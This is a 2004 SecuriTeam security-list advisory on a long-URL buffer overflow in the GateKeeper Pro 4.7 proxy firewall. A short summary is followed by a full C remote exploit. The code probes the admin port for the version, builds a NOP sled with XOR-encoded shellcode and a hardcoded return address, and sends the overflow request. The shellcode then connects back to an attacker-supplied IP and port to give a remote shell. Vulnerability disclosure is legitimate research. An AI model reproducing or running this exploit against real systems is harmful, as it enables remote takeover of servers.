[EXPL] GateKeeper Pro Buffer Overflow (Long URL)
From: SecuriTeam (support_at_securiteam.com)
Date: 02/23/04
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To: list@securiteam.com Date: 23 Feb 2004 19:25:36 +0200
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GateKeeper Pro Buffer Overflow (Long URL)
------------------------------------------------------------------------
SUMMARY
<http://www.proxy-pro.com/> Proxy-Pro GateKeeper" is a proxy server
firewall that allows you to share, secure and accelerate your Internet
connection." Provided is a proof of concept exploit code to test whether
the version of GateKeeper is vulnerable.
DETAILS
Vulnerable Systems:
* GateKeeper Pro version 4.7
Sending GET http://host.com/AAAAAAAAAA...(~4100bytes) to the server will
cause an access violation, which can then be utilized to cause the server
to execute arbitrary code.
Exploit:
/******************************************************************/
/* [Crpt] GateKeeper Pro 4.7 remote sploit by kralor [Crpt] */
/******************************************************************/
/* bug discovered & coded by: kralor [from coromputer] */
/* tested on: win2k pro and winXP */
/* it uses a static offset to hijack execution to the shellcode.. */
/* so it is 100% universal. Nothing more to say.. */
/******************************************************************/
/*informations: www.coromputer.net,irc undernet #coromputer */
/******************************************************************/
#include < stdio.h>
#include < stdlib.h>
#include < windows.h>
#include < winsock.h>
#pragma comment (lib,"ws2_32")
#define PORT 3128
#define ADMIN_PORT 2000
#define VERSION "4.7.0"
#define RET_POS 4079
#define SIZE 4105
#define RET_ADDR 0x03b1e121
#define REQ "GET http://www.microsoft.com/"
#define REQ2 "\r\nHost: www.microsoft.com\r\n\r\n"
// sequence of 4 opcodes
#define HOP 0xd4 // host opcode
#define POP 0xd7 // port opcode
int cnx(char *host, int port)
{
int sock;
struct sockaddr_in yeah;
struct hostent *she;
sock=socket(AF_INET,SOCK_STREAM,0);
if(!sock) {
printf("error: unable to create socket\r\n");
return 0;
}
yeah.sin_family=AF_INET;
yeah.sin_addr.s_addr=inet_addr(host);
yeah.sin_port=htons((u_short)port);
if((she=gethostbyname(host))!=NULL) {
memcpy((char *)&yeah.sin_addr,she->h_addr,she->h_length);
} else {
if((yeah.sin_addr.s_addr=inet_addr(host))==INADDR_NONE) {
printf("error: cannot resolve host\r\n");
return 0;
}
}
printf("[+] Connecting to %-30s ...",host);
if(connect(sock,(struct sockaddr*)&yeah,sizeof(yeah))!=0) {
printf("error: connection refused\r\n");
return 0;
}
printf("Done\r\n");
return sock;
}
void banner(void)
{
printf("\r\n\t [Crpt] GateKeeper Pro 4.7 remote sploit by kralor
[Crpt]\r\n");
printf("\t\t www.coromputer.net && undernet #coromputer\r\n\r\n");
return;
}
void syntax(char *prog)
{
printf("syntax: %s < host> < your_ip> < your_port>\r\n",prog);
exit(0);
}
int main(int argc, char *argv[])
{
WSADATA wsaData;
int sock;
char buffer[1024],useme[SIZE],*ptr;
unsigned long host,port;
unsigned int i;
char shellc0de[] = /* sizeof(shellc0de+xorer) == 332 bytes */
/* classic xorer */
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66"
"\xb9\x33\x01\x80\x33\x95\x43\xe2\xfa"
/* shellc0de */
"\x1e\x61\xc0\xc3\xf1\x34\xa5"
"\x95\x95\x95\x1e\xd5\x99\x1e\xe5\x89\x38\x1e\xfd\x9d\x7e\x95\x1e"
"\x50\xcb\xc8\x1c\x93\x6a\xa3\xfd\x1b\xdb\x9b\x79\x7d\x38\x95\x95"
"\x95\xfd\xa6\xa7\x95\x95\xfd\xe2\xe6\xa7\xca\xc1\x6a\x45\x1e\x6d"
"\xc2\xfd\x4c\x9c\x60\x38\x7d\x06\x95\x95\x95\xa6\x5c\xc4\xc4\xc4"
"\xc4\xd4\xc4\xd4\xc4\x6a\x45\x1c\xd3\xb1\xc2\xfd\x79\x6c\x3f\xf5"
"\x7d\xec\x95\x95\x95\xfd\xd4\xd4\xd4\xd4\xfd\xd7\xd7\xd7\xd7\x1e"
"\x59\xff\x85\xc4\x6a\xe3\xb1\x6a\x45\xfd\xf6\xf8\xf1\x95\x1c\xf3"
"\xa5\x6a\xa3\xfd\xe7\x6b\x26\x83\x7d\xc4\x95\x95\x95\x1c\xd3\x8b"
"\x16\x79\xc1\x18\xa9\xb1\xa6\x55\xa6\x5c\x16\x54\x80\x3e\x77\x68"
"\x53\xd1\xb1\x85\xd1\x6b\xd1\xb1\xa8\x6b\xd1\xb1\xa9\x1e\xd3\xb1"
"\x1c\xd1\xb1\xdd\x1c\xd1\xb1\xd9\x1c\xd1\xb1\xc5\x18\xd1\xb1\x85"
"\xc1\xc5\xc4\xc4\xc4\xff\x94\xc4\xc4\x6a\xe3\xa5\xc4\x6a\xc3\x8b"
"\x6a\xa3\xfd\x7a\x5b\x75\xf5\x7d\x97\x95\x95\x95\x6a\x45\xc6\xc0"
"\xc3\xc2\x1e\xf9\xb1\x8d\x1e\xd0\xa9\x1e\xc1\x90\xed\x96\x40\x1e"
"\xdf\x8d\x1e\xcf\xb5\x96\x48\x76\xa7\xdc\x1e\xa1\x1e\x96\x60\xa6"
"\x6a\x69\xa6\x55\x39\xaf\x51\xe1\x92\x54\x5a\x98\x96\x6d\x7e\x67"
"\xae\xe9\xb1\x81\xe0\x74\x1e\xcf\xb1\x96\x48\xf3\x1e\x99\xde\x1e"
"\xcf\x89\x96\x48\x1e\x91\x1e\x96\x50\x7e\x97\xa6\x55\x1e\x40\xca"
"\xcb\xc8\xce\x57\x91\x95";
banner();
if(argc!=4)
syntax(argv[0]);
host=inet_addr(argv[2])^0x95959595;
port=atoi(argv[3]);
if(port< =0||port>65535) {
printf("error: < port> must be between 1 and 65535\r\n");
return -1;
}
port=htons((unsigned short)port);
port=port< < 16;
port+=0x0002;
port=port^0x95959595;
for(i=0;i< sizeof(shellc0de);i++) {
if((unsigned char)shellc0de[i]==HOP&&(unsigned
char)shellc0de[i+1]==HOP)
if((unsigned char)shellc0de[i+2]==HOP&&(unsigned
char)shellc0de[i+3]==HOP) {
memcpy(&shellc0de[i],&host,4);
host=0;
}
if((unsigned char)shellc0de[i]==POP&&(unsigned
char)shellc0de[i+1]==POP)
if((unsigned char)shellc0de[i+2]==POP&&(unsigned
char)shellc0de[i+3]==POP) {
memcpy(&shellc0de[i],&port,4);
port=0;
}
}
if(host||port) {
printf("[i] error: unabled to find ip/port sequence in
shellc0de\r\n");
return -1;
}
if(WSAStartup(0x0101,&wsaData)!=0) {
printf("[i] error: unable to load winsock\r\n");
return -1;
}
printf("[-] Getting version through administration
interface\r\n");
sock=cnx(argv[1],ADMIN_PORT);
if(!sock)
printf("[i] warning: couldn't connect to admin int to get version,
trying anyway\r\n");
else {
send(sock,"I'm a script kiddie\r\n",21,0);
memset(buffer,0,sizeof(buffer));
recv(sock,buffer,sizeof(buffer),0);
memset(buffer,0,sizeof(buffer));
recv(sock,buffer,sizeof(buffer),0);
ptr=strstr(buffer,"GateKeeper@");
if(!ptr)
printf("[i] waring: version not found, trying anyway\r\n");
else {
ptr+=11;
if(strncmp(ptr,VERSION,strlen(VERSION))) {
printf("[i] error: wrong version\r\n");
return -1;
}
printf("[i] %-44s ...OK\r\n","version");
}
}
printf("[i] Starting to exploit\r\n");
sock=cnx(argv[1],PORT);
if(!sock)
return -1;
printf("[i] Preparing magic %-28s ...","packet");
memset(useme,0x90,SIZE);
memcpy(&useme[RET_POS-0x8ac],shellc0de,sizeof(shellc0de));
*(unsigned long*)&useme[RET_POS] = RET_ADDR; // eip pointing to
jmp ebx in exe memory
memcpy(&useme[RET_POS+12],"\xe9\xed\xf6\xff\xff",5); // jmp $ -
0x92c
printf("Done\r\n");
printf("[i] Sending magic packet ...");
send(sock,REQ,strlen(REQ),0);
send(sock,useme,sizeof(useme),0);
send(sock,REQ2,strlen(REQ2),0);
printf("Done\r\n");
closesocket(sock);
return 0;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:kralor@coromputer.net> Iv?n
Rodriguez Almui?a.
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